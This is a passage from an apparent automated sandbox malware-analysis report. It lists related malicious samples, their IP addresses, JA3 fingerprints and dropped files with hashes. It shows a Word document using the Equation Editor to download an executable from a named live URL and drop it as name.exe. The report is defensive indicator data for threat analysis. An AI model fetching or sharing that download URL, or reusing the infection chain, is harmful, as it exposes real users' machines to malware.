                                                                                                            OVHFRXdokgkT8a7.exeGet hashmaliciousBrowse
                                                                                                            • 213.186.33.5
                                                                                                            esaFGnQ1rW.exeGet hashmaliciousBrowse
                                                                                                            • 158.69.144.161
                                                                                                            0gnf7DCu6U.exeGet hashmaliciousBrowse
                                                                                                            • 51.38.92.34
                                                                                                            KTS Full.exeGet hashmaliciousBrowse
                                                                                                            • 94.23.1.92
                                                                                                            8891.PDF.vbsGet hashmaliciousBrowse
                                                                                                            • 198.50.177.251
                                                                                                            SpaIJRDurhGet hashmaliciousBrowse
                                                                                                            • 139.99.9.190
                                                                                                            Remittance Advice 2994718.xlsxGet hashmaliciousBrowse
                                                                                                            • 188.165.135.185
                                                                                                            fdwE1cx1cL.dllGet hashmaliciousBrowse
                                                                                                            • 54.38.242.185
                                                                                                            Swift Copy.xlsxGet hashmaliciousBrowse
                                                                                                            • 87.98.245.200
                                                                                                            jung-suk.goo-2102022 84828 p.m..htmlGet hashmaliciousBrowse
                                                                                                            • 54.39.104.158
                                                                                                            gkBMCovDLyGet hashmaliciousBrowse
                                                                                                            • 164.133.191.143
                                                                                                            MJ8bpUoROHGet hashmaliciousBrowse
                                                                                                            • 149.56.71.193
                                                                                                            ZtYNQ1ZX9zGet hashmaliciousBrowse
                                                                                                            • 37.187.76.126
                                                                                                            adP3gvhbFy.xlsGet hashmaliciousBrowse
                                                                                                            • 158.69.222.101
                                                                                                            CZ20sNTjueGet hashmaliciousBrowse
                                                                                                            • 37.59.96.102
                                                                                                            test.xlsGet hashmaliciousBrowse
                                                                                                            • 192.95.56.148
                                                                                                            test.xlsGet hashmaliciousBrowse
                                                                                                            • 192.95.56.148
                                                                                                            ZDU8Oc6Vmt.exeGet hashmaliciousBrowse
                                                                                                            • 51.222.69.215
                                                                                                            PDFCreator-4_4_1-Setup.exeGet hashmaliciousBrowse
                                                                                                            • 51.89.33.241
                                                                                                            RemISAV6RwGet hashmaliciousBrowse
                                                                                                            • 192.99.71.233
                                                                                                            CLOUDFLARENETUSHalkbank_Ekstre_20200521_082357_541079.pdf.exeGet hashmaliciousBrowse
                                                                                                            • 104.21.19.200
                                                                                                            xH3lUnLzy5f4SkO.exeGet hashmaliciousBrowse
                                                                                                            • 172.67.188.154
                                                                                                            Dekont pdf.exeGet hashmaliciousBrowse
                                                                                                            • 188.114.97.7
                                                                                                            6mZ32IKakr.exeGet hashmaliciousBrowse
                                                                                                            • 172.67.188.154
                                                                                                            RFQ Ref. No. MS-DGP-220137.exeGet hashmaliciousBrowse
                                                                                                            • 104.17.232.29
                                                                                                            NWD5671.pdf.exeGet hashmaliciousBrowse
                                                                                                            • 188.114.96.7
                                                                                                            order payment.exeGet hashmaliciousBrowse
                                                                                                            • 172.67.201.249
                                                                                                            016-26404851.exeGet hashmaliciousBrowse
                                                                                                            • 162.159.135.233
                                                                                                            su11ra_16_5512.htmlGet hashmaliciousBrowse
                                                                                                            • 104.16.19.94
                                                                                                            Deklarata e llogarise.exeGet hashmaliciousBrowse
                                                                                                            • 23.227.38.74
                                                                                                            repair inject.exeGet hashmaliciousBrowse
                                                                                                            • 162.159.134.233
                                                                                                            TbDXlssS18.exeGet hashmaliciousBrowse
                                                                                                            • 188.114.97.7
                                                                                                            XdokgkT8a7.exeGet hashmaliciousBrowse
                                                                                                            • 188.114.96.7
                                                                                                            ieG4jQmQxd.exeGet hashmaliciousBrowse
                                                                                                            • 162.159.129.233
                                                                                                            vbc.exeGet hashmaliciousBrowse
                                                                                                            • 172.67.145.96
                                                                                                            ValChanger.exeGet hashmaliciousBrowse
                                                                                                            • 162.159.134.233
                                                                                                            0gnf7DCu6U.exeGet hashmaliciousBrowse
                                                                                                            • 172.67.187.154
                                                                                                            rename_me_before_using.exeGet hashmaliciousBrowse
                                                                                                            • 162.159.137.232
                                                                                                            Desudo.exeGet hashmaliciousBrowse
                                                                                                            • 162.159.135.232
                                                                                                            7TIOTyD8o4.exeGet hashmaliciousBrowse
                                                                                                            • 162.159.133.233

                                                                                                            JA3 Fingerprints

                                                                                                            MatchAssociated Sample Name / URLSHA 256DetectionLinkContext
                                                                                                            05af1f5ca1b87cc9cc9b25185115607dCBRE.docxGet hashmaliciousBrowse
                                                                                                            • 104.16.154.36
                                                                                                            EWETRDSHELL200821589.docGet hashmaliciousBrowse
                                                                                                            • 104.16.154.36
                                                                                                            RFQ - ValvesPN16 PN25.docGet hashmaliciousBrowse
                                                                                                            • 104.16.154.36
                                                                                                            27099788_20220118152009.docxGet hashmaliciousBrowse
                                                                                                            • 104.16.154.36
                                                                                                            Proforma Invoice168305-PYM_1.docxGet hashmaliciousBrowse
                                                                                                            • 104.16.154.36
                                                                                                            py27099788_20220118152009.xlsxGet hashmaliciousBrowse
                                                                                                            • 104.16.154.36
                                                                                                            58506013077.xlsmGet hashmaliciousBrowse
                                                                                                            • 104.16.154.36
                                                                                                            7845120000.xlsmGet hashmaliciousBrowse
                                                                                                            • 104.16.154.36
                                                                                                            27099788_20220118152009.docxGet hashmaliciousBrowse
                                                                                                            • 104.16.154.36
                                                                                                            Payment Order.ppsxGet hashmaliciousBrowse
                                                                                                            • 104.16.154.36
                                                                                                            Remittance_Advice.xlsmGet hashmaliciousBrowse
                                                                                                            • 104.16.154.36
                                                                                                            693900337383.xlsmGet hashmaliciousBrowse
                                                                                                            • 104.16.154.36
                                                                                                            58592535399.xlsmGet hashmaliciousBrowse
                                                                                                            • 104.16.154.36
                                                                                                            5067000010582.xlsmGet hashmaliciousBrowse
                                                                                                            • 104.16.154.36
                                                                                                            Y4WJilcBQD.docGet hashmaliciousBrowse
                                                                                                            • 104.16.154.36
                                                                                                            Report.xlsGet hashmaliciousBrowse
                                                                                                            • 104.16.154.36
                                                                                                            QyJEqOV5XDT3ygH.xlsmGet hashmaliciousBrowse
                                                                                                            • 104.16.154.36
                                                                                                            check.xlsGet hashmaliciousBrowse
                                                                                                            • 104.16.154.36
                                                                                                            imedpub_2.xlsGet hashmaliciousBrowse
                                                                                                            • 104.16.154.36
                                                                                                            imedpub.com_6.xlsGet hashmaliciousBrowse
                                                                                                            • 104.16.154.36
                                                                                                            7dcce5b76c8b17472d024758970a406b1BCYKwuDo4.docxGet hashmaliciousBrowse
                                                                                                            • 123.30.139.93
                                                                                                            gpsD0NeItj.docxGet hashmaliciousBrowse
                                                                                                            • 123.30.139.93
                                                                                                            oIMWFJf5Ox.docxGet hashmaliciousBrowse
                                                                                                            • 123.30.139.93
                                                                                                            Template1L.dotGet hashmaliciousBrowse
                                                                                                            • 123.30.139.93
                                                                                                            Template1L.dotGet hashmaliciousBrowse
                                                                                                            • 123.30.139.93
                                                                                                            CBRE.docxGet hashmaliciousBrowse
                                                                                                            • 123.30.139.93
                                                                                                            Brenntag Payment.xlsxGet hashmaliciousBrowse
                                                                                                            • 123.30.139.93
                                                                                                            Past DUE statement.xlsxGet hashmaliciousBrowse
                                                                                                            • 123.30.139.93
                                                                                                            Orden de Compra PDF.ppamGet hashmaliciousBrowse
                                                                                                            • 123.30.139.93
                                                                                                            Pago de facturas PDF.ppamGet hashmaliciousBrowse
                                                                                                            • 123.30.139.93
                                                                                                            Orden de Compra PDF.ppamGet hashmaliciousBrowse
                                                                                                            • 123.30.139.93
                                                                                                            Orden de Compra PDF.ppamGet hashmaliciousBrowse
                                                                                                            • 123.30.139.93
                                                                                                            Statement 062136791.xlsmGet hashmaliciousBrowse
                                                                                                            • 123.30.139.93
                                                                                                            Pago de facturas PDF.ppamGet hashmaliciousBrowse
                                                                                                            • 123.30.139.93
                                                                                                            New PO-0183HT PDF.ppamGet hashmaliciousBrowse
                                                                                                            • 123.30.139.93
                                                                                                            New RFQ PDF.ppamGet hashmaliciousBrowse
                                                                                                            • 123.30.139.93
                                                                                                            New RFQ PDF.ppamGet hashmaliciousBrowse
                                                                                                            • 123.30.139.93
                                                                                                            product inquiry 2022.ppamGet hashmaliciousBrowse
                                                                                                            • 123.30.139.93
                                                                                                            New PO-0183HT PDF.ppamGet hashmaliciousBrowse
                                                                                                            • 123.30.139.93
                                                                                                            PO 4501315932.ppamGet hashmaliciousBrowse
                                                                                                            • 123.30.139.93

                                                                                                            Dropped Files

                                                                                                            ⊘No context

                                                                                                            Created / dropped Files

                                                                                                            C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\XNHC0JWC\PU4TLXlhTTxUD3B[1].exe

                                                                                                            Download File
                                                                                                            Process:C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE
                                                                                                            File Type:PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                                            Category:downloaded
                                                                                                            Size (bytes):1244160
                                                                                                            Entropy (8bit):7.841876304894837
                                                                                                            Encrypted:false
                                                                                                            SSDEEP:12288:zOTIkOQC3u4diHquSEbVziIN8cmGIhUGAVigEnKQHmlNhcoHnMaTvcXw8AKT/arK:oeMxSoTSTGZihnKQHToHnHEXw8BT/
                                                                                                            MD5:91DE6EFC69676A4DD4CED5E2111AB489
                                                                                                            SHA1:262F23FEEE502E24D6D044C05BCB7B3153B3920E
                                                                                                            SHA-256:57754827B4E179D20088BE1AA0FEC9D1F8E3A872E81103B2C7264F80A0A86B36
                                                                                                            SHA-512:A138DD6D2645729104DE1FD312D2240E3440706C8BB08DD127BE04CB703AD1ACEEF69B5A26F49B4B314B63D9FA750C1FF242F3B09C80D1B9F7FB76E8F88F236F
                                                                                                            Malicious:true
                                                                                                            Antivirus:
                                                                                                            • Antivirus: Avira, Detection: 100%
                                                                                                            • Antivirus: Joe Sandbox ML, Detection: 100%
                                                                                                            Reputation:low
                                                                                                            IE Cache URL:https://xelu.vn/Newww/PU4TLXlhTTxUD3B.exe
                                                                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...q..b..............0.................. ... ....@.. .......................`............@.................................l...O.... ..X....................@....................................................... ............... ..H............text........ ...................... ..`.rsrc...X.... ......................@..@.reloc.......@......................@..B........................H........................X..............................................f.....'?%.K....]....VN..@#f,$.A.... r...8.gI.r..x{....a..@..;.@..o/..X.4....8/..3%.....ff....96GG..)...Pg.bC&.....o.wI...E{..Zv..V......R.X*..X.y{...z....!....../...Q:.:..Z:.k..|.su..........I...7.1...}..R.Gf.T.N.......9..Zv.f..{C.8R.&vQ..fA..uf{f.z.C.r.1.:...!...Nt...4.......@.....o!.8..g...._2..[...7..2.h........o;..'i#..........:~..Ui.dh.zI.......O...;P.l..._Y..J....].a........q

                                                                                                            C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\PU4TLXlhTTxUD3B[1].htm

                                                                                                            Download File
                                                                                                            Process:C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE
                                                                                                            File Type:HTML document, ASCII text
                                                                                                            Category:dropped
                                                                                                            Size (bytes):249
                                                                                                            Entropy (8bit):5.185657568056262
                                                                                                            Encrypted:false
                                                                                                            SSDEEP:6:pn0+Dy9xwol6hEr6VX16hu9nPXjEkxFn0dSi+KqD:J0+ox0RJWWPXjLkiT
                                                                                                            MD5:604D5368CC278259AC4181CE7EA333C4
                                                                                                            SHA1:44455EA6E087D04C7BD25A36B885E9CC517E2CE2
                                                                                                            SHA-256:109DDD9AACC9DA031AE2E577B20FAD84ADC0E182D07758DBA4BE831D87B8BCDC
                                                                                                            SHA-512:6FCD78E6A781962EFE55FD7D43F04825E895FC683A72E017E2FEBC45A11F5AA442168D0B9693596478468D71FA6CE03FAA2A413E5C610A95F8829FA85F494C92
                                                                                                            Malicious:false
                                                                                                            Reputation:low
                                                                                                            Preview:<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">.<html><head>.<title>301 Moved Permanently</title>.</head><body>.<h1>Moved Permanently</h1>.<p>The document has moved <a href="https://xelu.vn/Newww/PU4TLXlhTTxUD3B.exe">here</a>.</p>.</body></html>.

                                                                                                            C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRF{FF780E00-89C7-4301-A104-C139521B8BBC}.tmp

                                                                                                            Download File
                                                                                                            Process:C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
                                                                                                            File Type:Composite Document File V2 Document, Cannot read section info
                                                                                                            Category:dropped
                                                                                                            Size (bytes):5632
                                                                                                            Entropy (8bit):4.1199747529872415
                                                                                                            Encrypted:false
                                                                                                            SSDEEP:48:rY4Z+ZTMbvOGJa8ohDrGkzBtqXCrOwQ+0ADfD59jvrPASc7:k3ZTMzOGEhfN1QwpvDfD5dvrPAS6
                                                                                                            MD5:AF6190CD34865146CEF3A381866FE465
                                                                                                            SHA1:3A187578923D2BCAED8629F3B8612D76D1D08F51
                                                                                                            SHA-256:44BC6126F350852BEC1A89F638545D884FBC37D4572AC83F541C90D39A555F85
                                                                                                            SHA-512:5A0F1ED77D91817F9976E04E7EED0475EAA95FAE4A4652A16FEFF46494CE54984DA12C9F1065B2108BC02CA70660298F35524EBE18EEFD0366804EB9C3CD157D
                                                                                                            Malicious:true
                                                                                                            Antivirus:
                                                                                                            • Antivirus: Avira, Detection: 100%
                                                                                                            Reputation:low
                                                                                                            Preview:......................>...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                            C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{2B2068B3-D552-4786-8969-BAD999A42CE0}.tmp

                                                                                                            Download File
                                                                                                            Process:C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
                                                                                                            File Type:data
                                                                                                            Category:dropped
                                                                                                            Size (bytes):1024
                                                                                                            Entropy (8bit):0.05390218305374581
                                                                                                            Encrypted:false
                                                                                                            SSDEEP:3:ol3lYdn:4Wn
                                                                                                            MD5:5D4D94EE7E06BBB0AF9584119797B23A
                                                                                                            SHA1:DBB111419C704F116EFA8E72471DD83E86E49677
                                                                                                            SHA-256:4826C0D860AF884D3343CA6460B0006A7A2CE7DBCCC4D743208585D997CC5FD1
                                                                                                            SHA-512:95F83AE84CAFCCED5EAF504546725C34D5F9710E5CA2D11761486970F2FBECCB25F9CF50BBFC272BD75E1A66A18B7783F09E1C1454AFDA519624BC2BB2F28BA4
                                                                                                            Malicious:false
                                                                                                            Reputation:high, very likely benign file
                                                                                                            Preview:........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                            C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{3D4B2259-255D-4363-A990-87934546D08F}.tmp

                                                                                                            Download File
                                                                                                            Process:C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
                                                                                                            File Type:data
                                                                                                            Category:dropped
                                                                                                            Size (bytes):1536
                                                                                                            Entropy (8bit):1.3586208805849456
                                                                                                            Encrypted:false
                                                                                                            SSDEEP:3:Iiiiiiiiiif3l/Hlnl/bl//l/bllBl/PvvvvvvvvvvFl/l/lAqsalHl3lldHzlbf:IiiiiiiiiifdLloZQc8++lsJe1Mz4
                                                                                                            MD5:07303A3EA82B2524552E41A507BD5244
                                                                                                            SHA1:606E7DFD02924D2C4E383EB4CAFED406C34F5A11
                                                                                                            SHA-256:A264FB2DC4331DDB0AF2490AE8EC2881ABFF7DD956A03CB2A8EA5106CF32ABF8
                                                                                                            SHA-512:CEC1F5C9A714EE3BB969E2A7C48DBF56E81C9117C32D8D490A257C45C90439971292FCF2236523CA52E4FF52343971D6CCF8BFA7BC773744BFD537BF31E1AAAC
                                                                                                            Malicious:false
                                                                                                            Reputation:low
                                                                                                            Preview:..(...(...(...(...(...(...(...(...(...(...(...A.l.b.u.s...A........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................."...&...*.......:...>...............................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                            C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{B8192480-7923-4DC7-9F00-6373E7E03914}.tmp

                                                                                                            Download File
                                                                                                            Process:C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
                                                                                                            File Type:data
                                                                                                            Category:dropped
                                                                                                            Size (bytes):86528
                                                                                                            Entropy (8bit):3.7804643542231466
                                                                                                            Encrypted:false
                                                                                                            SSDEEP:1536:r29ph/xqOZgp3dCPIWxnIFfprS21x6RdMBngu:i9ph/xq+i3QJBIfprt1x6R6ngu
                                                                                                            MD5:2435183B5BDF3DB7160B7B2DD37B5113
                                                                                                            SHA1:8484EC065C45DFFF97BA5DD49FF9A7750E488C65
                                                                                                            SHA-256:1A62F6AC39B557D228FFF614B16C0035173DD51F38847C8C14B97531FB8C2738
                                                                                                            SHA-512:A7C017B8215BB59017D9BDB1E0147E1AD0DA35BF5C5E35666A494B24D3EBD01ED441F0D833FA8A186E1664A5EFE34CDC31F9117DB64CE7B259A2DD5F99392FAE
                                                                                                            Malicious:false
                                                                                                            Reputation:low
                                                                                                            Preview:8.3.1.5.4.4.3.1. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .D.Q.l.5.S.z.P.J.d.E.g.i.t.D.h.5.l.x.d.y.K.j.5.a.r.N.m.o.R.6.R.a._.d.R.2.f.F.1.M.p.g.E.M.4.L.E.h.I.D.L._.P.F.D.Y.B.I.K.J.G.W.S.C.F.N.L.J.Q.A.V.M.L.L.K.M.P.R.C.S.F.B.k.w.e.w.x.x.x.n.r.j.l.k.u.d.x.u.o.l.n.o.p.i.Q.P.O.G.R.R.C.S.O.P.P.H.R.W.E.W.H.H.L.P.R.M.Z.U.V.D.A.d.z.l.b.p.l.o.o.u.f.o.c.f.g.u.l.i.s.g.s.p.u.q.z.s.z.s.a...I.p.W.D.z.X.W.c.X.f.b.o.Q.e.D.w.v.z.h.K.V.o.d.j.U.s.c.U.c.j.Y.j.l.N.h.l.K.R.G.T.J.s.V.N.d.i.M.H.z.Y.t.V.C.B.R.x.r.d.I.O.l.f.M.n.S.n.y.O.u.B.h.B.g.N.E.e.d.p.c.M.j.X.s.g.w.o.o.V.A.U.l.e.v.o.a.d.E.K.j.w.f.x.l.K.o.l.r.u.r.S.m.u.y.s.s.z.f.Y.k.l.w.L.Z.X.h.f.E.l.x.b.D.q.s.a.J.b.l.G.y.T.u.p.g.n.u.d.J.j.d.Z.t.a.g.x.o.C.W.Z.l.w.y.f.U.E.J.E.o.j.W.V.m.H.O.Y.y.Y.a.Z.F.r.T.M.E.W.H.a.s.c.p.r.L.q.J.S.y.v.F.F.P.Q.z.Z.X.T.c.r.d.j.r.c.u.g.c.H.G.I.Z.p.A.D.Q.C.S.C.g.j.C.X.I.z.b.E.U.L.S.M.J.O.J.E.

                                                                                                            C:\Users\user\AppData\Local\Temp\bhvC7B6.tmp

                                                                                                            Download File
                                                                                                            Process:C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe
                                                                                                            File Type:Extensible storage engine DataBase, version 0x620, checksum 0x6daa110e, page size 32768, DirtyShutdown, Windows version 6.1
                                                                                                            Category:dropped
                                                                                                            Size (bytes):21037056
                                                                                                            Entropy (8bit):1.1435025112776838
                                                                                                            Encrypted:false
                                                                                                            SSDEEP:24576:Pq1U91o2I+0mZ5lahHLLGpHqqnEXwPtofJIRH330nW/jMB1emX4UJlNd:PqEXg1LoHqqEXwPW+RHA6m1fN
                                                                                                            MD5:6CF986B6E06E981B61CEA6B257F5BED4
                                                                                                            SHA1:34957B7EBFB3E3D6214E363B118DC7B67B6C1842
                                                                                                            SHA-256:CD3B0A5BE45E8C00AF512832960D56F82A6A721AEFB7C3D57F535226D396515B
                                                                                                            SHA-512:4ECC680F58576A004063D22F384081C6028C3935128BB491D02C692E637C61F24A74C29FC509B5E222FDFB80B7761A4A65AC0F2D0443D924D49BFA2760B24B8F
                                                                                                            Malicious:false
                                                                                                            Reputation:low
                                                                                                            Preview:m...... .......'................u.............................."....x.......z.......................................u..............................................................................................$............................................................................................................................... .......7....x......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                            C:\Users\user\AppData\Local\Temp\holderwb.txt

                                                                                                            Download File
                                                                                                            Process:C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe
                                                                                                            File Type:Little-endian UTF-16 Unicode text, with no line terminators
                                                                                                            Category:dropped
                                                                                                            Size (bytes):2
                                                                                                            Entropy (8bit):1.0
                                                                                                            Encrypted:false
                                                                                                            SSDEEP:3:Qn:Qn
                                                                                                            MD5:F3B25701FE362EC84616A93A45CE9998
                                                                                                            SHA1:D62636D8CAEC13F04E28442A0A6FA1AFEB024BBB
                                                                                                            SHA-256:B3D510EF04275CA8E698E5B3CBB0ECE3949EF9252F0CDC839E9EE347409A2209
                                                                                                            SHA-512:98C5F56F3DE340690C139E58EB7DAC111979F0D4DFFE9C4B24FF849510F4B6FFA9FD608C0A3DE9AC3C9FD2190F0EFAF715309061490F9755A9BFDF1C54CA0D84
                                                                                                            Malicious:false
                                                                                                            Preview:..

                                                                                                            C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\02132022769992.LNK

                                                                                                            Download File
                                                                                                            Process:C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
                                                                                                            File Type:MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Archive, ctime=Mon Aug 30 20:08:57 2021, mtime=Mon Aug 30 20:08:57 2021, atime=Mon Feb 14 15:12:15 2022, length=51849, window=hide
                                                                                                            Category:dropped
                                                                                                            Size (bytes):1034
                                                                                                            Entropy (8bit):4.493338008436439
                                                                                                            Encrypted:false
                                                                                                            SSDEEP:24:8CNeqrA/XTuzLIFhBek3DLmh+Dv3qaQd7Qy:8CNeqs/XTkq/3OaUj
                                                                                                            MD5:1EB923923D776FD193E9FE90D330DE20
                                                                                                            SHA1:435523445F32BB860EA9495ACEE5C973DE1263F9
                                                                                                            SHA-256:A364D48085DA0FF27E59FF373BB118365D8FE60BF3A842FA8F82D79B4D2862B2
                                                                                                            SHA-512:4C383322333BE32D552F7EC009476FE08AA598EDC5144007A8D2D655096811885EBF28C127A83F9F8A165B3A2B7D8EE300B9C9750A1E5098EB5605F8F5250763
                                                                                                            Malicious:false
                                                                                                            Preview:L..................F.... ......?......?........!...............................P.O. .:i.....+00.../C:\...................t.1.....QK.X..Users.`.......:..QK.X*...................6.....U.s.e.r.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.8.1.3.....L.1......S ...user.8......QK.X.S .*...&=....U...............A.l.b.u.s.....z.1......S!...Desktop.d......QK.X.S!.*..._=..............:.....D.e.s.k.t.o.p...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.6.9.....n.2.....NT.. .021320~1.DOC..R.......S...S..*.........................0.2.1.3.2.0.2.2.7.6.9.9.9.2...d.o.c.......|...............-...8...[............?J......C:\Users\..#...................\\082561\Users.user\Desktop\02132022769992.doc.).....\.....\.....\.....\.....\.D.e.s.k.t.o.p.\.0.2.1.3.2.0.2.2.7.6.9.9.9.2...d.o.c.........:..,.LB.)...Ag...............1SPS.XF.L8C....&.m.m............-...S.-.1.-.5.-.2.1.-.9.6.6.7.7.1.3.1.5.-.3.0.1.9.4.0.5.6.3.7.-.3.6.7.3.3.6.4.7.7.-.1.0.0.6.............`.......X.......082561..........D_....3N...W...9..g............[D_

                                                                                                            C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\index.dat

                                                                                                            Download File
                                                                                                            Process:C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
                                                                                                            File Type:ASCII text, with CRLF line terminators
                                                                                                            Category:dropped
                                                                                                            Size (bytes):79
                                                                                                            Entropy (8bit):4.529994085272568
                                                                                                            Encrypted:false
                                                                                                            SSDEEP:3:bDuMJlZX9QcOmX1VEQ9QcOv:bCQX9Qcz9QcA
                                                                                                            MD5:15364D423B33027F1A6E8E51A91976F1
                                                                                                            SHA1:FFB7A021C75EC739A73D40BDF797E9036D37DCF3
                                                                                                            SHA-256:6ADB552438BBBD774F80D8E8BC6834B59ECDD8962470DD9C30B436BBCF673A58
                                                                                                            SHA-512:64FF3EBBD7F6634F6E7A8B8E5E24C282C46CF0FA65E07BC4883D0BA01BEE1B3F339C70CE3CB8FBCC0C814F3059E275A143333AADF679E9C8E3B17446F5F29731
                                                                                                            Malicious:false
                                                                                                            Preview:[folders]..Templates.LNK=0..02132022769992.LNK=0..[doc]..02132022769992.LNK=0..

                                                                                                            C:\Users\user\AppData\Roaming\Microsoft\Templates\~$Normal.dotm

                                                                                                            Download File
                                                                                                            Process:C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
                                                                                                            File Type:data
                                                                                                            Category:dropped
                                                                                                            Size (bytes):162
                                                                                                            Entropy (8bit):2.5038355507075254
                                                                                                            Encrypted:false
                                                                                                            SSDEEP:3:vrJlaCkWtVyEGlBsB2q/WWqlFGa1/ln:vdsCkWtYlqAHR9l
                                                                                                            MD5:45B1E2B14BE6C1EFC217DCE28709F72D
                                                                                                            SHA1:64E3E91D6557D176776A498CF0776BE3679F13C3
                                                                                                            SHA-256:508D8C67A6B3A7B24641F8DEEBFB484B12CFDAFD23956791176D6699C97978E6
                                                                                                            SHA-512:2EB6C22095EFBC366D213220CB22916B11B1234C18BBCD5457AB811BE0E3C74A2564F56C6835E00A0C245DF964ADE3697EFA4E730D66CC43C1C903975F6225C0
                                                                                                            Malicious:false
                                                                                                            Preview:.user..................................................A.l.b.u.s.............p........1...............2..............@3...............3......z.......p4......x...

                                                                                                            C:\Users\user\AppData\Roaming\Microsoft\UProof\ExcludeDictionaryEN0409.lex

                                                                                                            Download File
                                                                                                            Process:C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
                                                                                                            File Type:Little-endian UTF-16 Unicode text, with no line terminators
                                                                                                            Category:dropped
                                                                                                            Size (bytes):2
                                                                                                            Entropy (8bit):1.0
                                                                                                            Encrypted:false
                                                                                                            SSDEEP:3:Qn:Qn
                                                                                                            MD5:F3B25701FE362EC84616A93A45CE9998
                                                                                                            SHA1:D62636D8CAEC13F04E28442A0A6FA1AFEB024BBB
                                                                                                            SHA-256:B3D510EF04275CA8E698E5B3CBB0ECE3949EF9252F0CDC839E9EE347409A2209
                                                                                                            SHA-512:98C5F56F3DE340690C139E58EB7DAC111979F0D4DFFE9C4B24FF849510F4B6FFA9FD608C0A3DE9AC3C9FD2190F0EFAF715309061490F9755A9BFDF1C54CA0D84
                                                                                                            Malicious:false
                                                                                                            Preview:..

                                                                                                            C:\Users\user\AppData\Roaming\name.exe

                                                                                                            Download File
                                                                                                            Process:C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE
                                                                                                            File Type:PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                                            Category:dropped
                                                                                                            Size (bytes):1244160
                                                                                                            Entropy (8bit):7.841876304894837
                                                                                                            Encrypted:false
                                                                                                            SSDEEP:12288:zOTIkOQC3u4diHquSEbVziIN8cmGIhUGAVigEnKQHmlNhcoHnMaTvcXw8AKT/arK:oeMxSoTSTGZihnKQHToHnHEXw8BT/
                                                                                                            MD5:91DE6EFC69676A4DD4CED5E2111AB489
                                                                                                            SHA1:262F23FEEE502E24D6D044C05BCB7B3153B3920E
                                                                                                            SHA-256:57754827B4E179D20088BE1AA0FEC9D1F8E3A872E81103B2C7264F80A0A86B36
                                                                                                            SHA-512:A138DD6D2645729104DE1FD312D2240E3440706C8BB08DD127BE04CB703AD1ACEEF69B5A26F49B4B314B63D9FA750C1FF242F3B09C80D1B9F7FB76E8F88F236F
                                                                                                            Malicious:true
                                                                                                            Antivirus:
                                                                                                            • Antivirus: Avira, Detection: 100%
                                                                                                            • Antivirus: Joe Sandbox ML, Detection: 100%
                                                                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...q..b..............0.................. ... ....@.. .......................`............@.................................l...O.... ..X....................@....................................................... ............... ..H............text........ ...................... ..`.rsrc...X.... ......................@..@.reloc.......@......................@..B........................H........................X..............................................f.....'?%.K....]....VN..@#f,$.A.... r...8.gI.r..x{....a..@..;.@..o/..X.4....8/..3%.....ff....96GG..)...Pg.bC&.....o.wI...E{..Zv..V......R.X*..X.y{...z....!....../...Q:.:..Z:.k..|.su..........I...7.1...}..R.Gf.T.N.......9..Zv.f..{C.8R.&vQ..fA..uf{f.z.C.r.1.:...!...Nt...4.......@.....o!.8..g...._2..[...7..2.h........o;..'i#..........:~..Ui.dh.zI.......O...;P.l..._Y..J....].a........q

                                                                                                            C:\Users\user\AppData\Roaming\pid.txt

                                                                                                            Download File
                                                                                                            Process:C:\Users\user\AppData\Roaming\name.exe
                                                                                                            File Type:ASCII text, with no line terminators
                                                                                                            Category:dropped
                                                                                                            Size (bytes):4
                                                                                                            Entropy (8bit):1.5
                                                                                                            Encrypted:false
                                                                                                            SSDEEP:3:NBn:rn
                                                                                                            MD5:C7635BFD99248A2CDEF8249EF7BFBEF4
                                                                                                            SHA1:FF33A8F10515011CBA0D191AE58F7F9A4DD7A3E1
                                                                                                            SHA-256:736E537F0F664A3D8208E88C114F2C5A16FFF5800E5C146B0B83B1C43213D003
                                                                                                            SHA-512:2DBDEFC89CCAC9D37FDFBA9596C78ADF3D863DBB271E4871D731F6058E7A7E602531CFDF1FE8AE3D556B1A8AE576557E05E3A00FACBBC9706317C05C700ED038
                                                                                                            Malicious:false
                                                                                                            Preview:1124

                                                                                                            C:\Users\user\AppData\Roaming\pidloc.txt

                                                                                                            Download File
                                                                                                            Process:C:\Users\user\AppData\Roaming\name.exe
                                                                                                            File Type:ASCII text, with no line terminators
